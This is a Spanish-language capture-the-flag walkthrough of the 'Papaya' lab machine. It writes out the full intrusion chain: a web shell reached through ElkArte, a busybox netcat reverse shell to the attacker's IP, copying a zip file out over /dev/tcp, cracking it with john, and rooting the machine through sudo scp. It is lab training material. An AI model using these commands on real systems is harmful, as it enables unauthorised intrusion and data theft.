murrusko

Papaya

03 Jul 2024

image

Estamos ante una máquina Linux de nivel principiante creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.

Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:

sudo arp-scan -I eth1 --localnet
[sudo] password for murrusko: 
Interface: eth1, type: EN10MB, MAC: 08:00:27:5e:91:9b, IPv4: 10.0.2.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1        52:54:00:12:35:00       QEMU
10.0.2.2        52:54:00:12:35:00       QEMU
10.0.2.3        08:00:27:80:58:9b       PCS Systemtechnik GmbH
10.0.2.147      08:00:27:5a:99:51       PCS Systemtechnik GmbH

Enumeración

Como vemos la máquina tiene asignada la IP 10.0.2.147.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 10.0.2.147:

sudo nmap -sS -p- -Pn -n -v 10.0.2.147
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap, pero esta vez para ver con mas detalle que hay en esos puertos:

sudo nmap -sCV -p21,22,80 -v 10.0.2.147
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
|     Orden incorrecta: Intenta ser m
|     creativo
|     Orden incorrecta: Intenta ser m
|     creativo
|   Help: 
|     220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
|     214-Se reconocen las siguiente 
|     rdenes (* =>'s no implementadas):
|     XCWD CDUP XCUP SMNT* QUIT PORT PASV 
|     EPRT EPSV ALLO RNFR RNTO DELE MDTM RMD 
|     XRMD MKD XMKD PWD XPWD SIZE SYST HELP 
|     NOOP FEAT OPTS HOST CLNT AUTH* CCC* CONF* 
|     ENC* MIC* PBSZ* PROT* TYPE STRU MODE RETR 
|     STOR STOU APPE REST ABOR RANG USER PASS 
|     ACCT* REIN* LIST NLST STAT SITE MLSD MLST 
|     comentario a root@papaya
|   NULL, SMBProgNeg, SSLSessionReq: 
|_    220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 ftp      ftp            19 Jul  2 15:26 secret.txt
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 bb:05:10:69:18:eb:e3:44:2c:a7:68:98:d0:97:01:20 (ECDSA)
|_  256 65:41:aa:54:a6:b7:f7:2a:04:2e:c4:6a:c0:4d:10:35 (ED25519)
80/tcp open  http    Apache httpd 2.4.59
|_http-title: Did not follow redirect to http://papaya.thl/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.59 (Debian)

De este último escaneo obtenemos que la web tiene como nombre de dominio papaya.thl y que podemos acceder al FTP de forma anónima. Primero añadimos el dominio a nuestro fichero hosts:

echo "10.0.2.147 papaya.thl" | sudo tee -a /etc/hosts
10.0.2.147 papaya.thl

Y después nos conectamos al servidor FTP para ver si encontramos algo. Usamos las credenciales ftp:ftp y nos descargamos todo lo que encontremos:

ftp 10.0.2.147
Connected to 10.0.2.147.
220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
Name (10.0.2.147:murrusko): ftp
331 Conexión anónima ok, envía tu dirección de email como contraseña
Password: 
230 Aceptado acceso anónimo, aplicadas restricciones
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||1408|)
150 Abriendo conexión de datos en modo ASCII para file list
-rw-r--r--   1 ftp      ftp            19 Jul  2 15:26 secret.txt
226 Transferencia completada
ftp> get secret.txt
local: secret.txt remote: secret.txt
229 Entering Extended Passive Mode (|||43904|)
150 Opening BINARY mode data connection for secret.txt (19 bytes)
100% |******************|    19       11.75 KiB/s    00:00 ETA
226 Transferencia completada
19 bytes received in 00:00 (4.68 KiB/s)
ftp> bye
221 Hasta luego

Vemos que contiene el fichero secret.txt:

cat secret.txt 
ndhvabunlanqnpbñb

Intentamos desencriptar el texto usando la técnica de ROT13:

cat secret.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
aquinohaynadacoño

Nos lo guardamos por si hiciera falta.

Ahora vamos a ver que contiene el servidor web con whatweb:

whatweb -a 3 http://papaya.thl
http://papaya.thl [200 OK] Apache[2.4.59], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[10.0.2.147], JQuery[3.6.0], PasswordField[passwrd], PoweredBy[ElkArte], Script, Title[My Community - Index], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1]

Vemos que usa ElkArte, un framework en php para crear un foro. Buscando posibles exploit para ese framework encontramos el siguiente PoC https://www.exploit-db.com/exploits/52026. Como podemos ver se puede conseguir un RCE subiendo un theme, pero es necesario estar autenticado y tener permisos para modificar los themes. Probando las credenciales que tenemos vemos que no obtenemos acceso.

Vamos a buscar ficheros y directorios con feroxbuster:

$ feroxbuster -u http://papaya.thl/themes/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php -r

500      GET        4l       13w       89c http://papaya.thl/themes/test/test.php
...

Intrusión

Entre otros vemos un archivo un tanto raro. Si hemos leido el enlace anterior vemos que el fichero coincide con el PoC. Vamos a probar a ver que nos responde:

curl http://papaya.thl/themes/test/test.php
# Execute one command
www-data

# Take input from the url paramter. shell.php?cmd=whoami

Vemos que ejecuta un comando como www-data, pero para ello hay que añadir a la petición ?cmd=comando. Nos ponemos a la escucha en nuestra máquina. Para obtener una shell reversa hay que mandar el comando encodeado como URL:

curl http://papaya.thl/themes/test/test.php?cmd=busybox+nc+10.0.2.5+8888+-e+bash

Y obtenemos la shell reversa. Hacemos el tratamiento de la shell para obtener la TTY completa:

$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.147] 59434
script /dev/null -qc bash
www-data@papaya:/var/www/html/elkarte/themes/test$ ^Z
zsh: suspended  nc -nlvp 8888
$ stty raw -echo; fg
[1]  + continued  nc -nlvp 8888
ls
test.php
www-data@papaya:/var/www/html/elkarte/themes/test$ export TERM=xterm
www-data@papaya:/var/www/html/elkarte/themes/test$ reset
www-data@papaya:/var/www/html/elkarte/themes/test$

Una vez dentro del sistema vemos que hay un usuario llamado papaya:

www-data@papaya:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
papaya:x:1000:1000:,,,:/home/papaya:/bin/bash

Haciendo una búsqueda por el servidor nos encontramos con un fichero zip en el directorio /opt:

www-data@papaya:/home$ ls -l /opt/
total 4
-rwxr-xr-x 1 root root 173 Jul  2 17:14 pass.zip

Nos ponemos a la eschucha en nuestra máquina redirigiéndo la salida a un fichero llamado pass.zip y nos mandamos el fichero zip del servidor a nuestra máquina:

www-data@papaya:/opt$ cat pass.zip > /dev/tcp/10.0.2.5/8889

$ nc -nlvp 8889 > pass.zip
listening on [any] 8889 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.147] 35802

Intentamos descomprimirlo pero vemos que es necesaria una clave para extraer el contenido. Usando zip2john creamos el hash del fichero para luego intentar crackearlo:

zip2john pass.zip > pass.hash
ver 2.0 pass.zip/pass.txt PKZIP Encr: cmplen=23, decmplen=11, crc=EEA46B01 ts=89BB cs=eea4 type=0

Ahora usamos john para intentar encontrar la password:

$ john --wordlist=/usr/share/wordlists/rockyou.txt pass.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesica           (pass.zip/pass.txt)

Descomprimimos el fichero con la clave recién obtenida y leemos el fichero que hay dentro:

$ cat pass.txt 
papayarica

Nos logeamos como papaya:

www-data@papaya:/opt$ su papaya
Password: 
papaya@papaya:/opt$ id
uid=1000(papaya) gid=1000(papaya) grupos=1000(papaya),100(users)
papaya@papaya:/opt$

Escalada de privilegios

Vamos a ver si el usuario puede ejecutar algún comando como root:

papaya@papaya:/opt$ sudo -l
Matching Defaults entries for papaya on papaya:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User papaya may run the following commands on papaya:
    (root) NOPASSWD: /usr/bin/scp

Vemos que puede usar el comando scp como root. Buscamos en GTFOBins el comando y ejecutamos:

TF=$(mktemp) && echo 'bash 0<&2 1>&2' > $TF && chmod +x "$TF" && sudo scp -S $TF x y:
root@papaya:~# whoami; hostname; id
root
papaya
uid=0(root) gid=0(root) grupos=0(root)
root@papaya:~#

Y con esto terminamos la máquina.

Un saludo